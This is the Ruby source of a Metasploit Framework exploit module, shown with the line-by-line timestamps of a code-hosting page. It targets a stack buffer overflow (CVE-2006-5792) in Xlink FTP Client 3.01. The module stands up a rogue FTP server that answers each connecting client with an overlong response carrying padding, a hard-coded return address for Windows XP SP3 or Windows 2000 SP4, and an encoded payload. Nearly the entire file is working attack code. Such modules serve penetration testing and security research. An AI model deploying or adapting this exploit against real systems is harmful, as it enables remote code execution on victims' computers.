metasploit-framework/modules/exploits/windows/ftp/xlink_client.rb

72 lines
2.1 KiB
Ruby
Raw Normal View History

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = NormalRanking
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::TcpServer
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Xlink FTP Client Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Xlink FTP Client 32
Version 3.01 that comes bundled with Omni-NFS Enterprise 5.2.
When a overly long FTP server response is recieved by a client,
arbitrary code may be executed.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2006-5792' ],
[ 'OSVDB', '33969' ],
[ 'URL', 'http://www.xlink.com' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 550,
'BadChars' => "\x00\x0a\x0d\().,",
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP Pro SP3 English', { 'Ret' => 0x7d054897 } ],
[ 'Windows 2000 SP4 English', { 'Ret' => 0x7ce02a2d } ],
],
'Privileged' => false,
'DisclosureDate' => 'Oct 3 2009',
'DefaultTarget' => 0))
2013-08-30 21:28:54 +00:00
register_options(
[
OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
], self.class)
end
2013-08-30 21:28:54 +00:00
def on_client_connect(client)
2013-08-30 21:28:54 +00:00
return if ((p = regenerate_payload(client)) == nil)
2013-08-30 21:28:54 +00:00
sploit = rand_text_alpha_upper(260) + [target.ret].pack('V') + payload.encoded
sploit << rand_text_alpha_upper(1024 - payload.encoded.length) + "\r\n"
2013-08-30 21:28:54 +00:00
print_status("Sending #{self.name}...")
client.put(sploit)
2013-08-30 21:28:54 +00:00
handler(client)
service.close_client(client)
2013-08-30 21:28:54 +00:00
end
end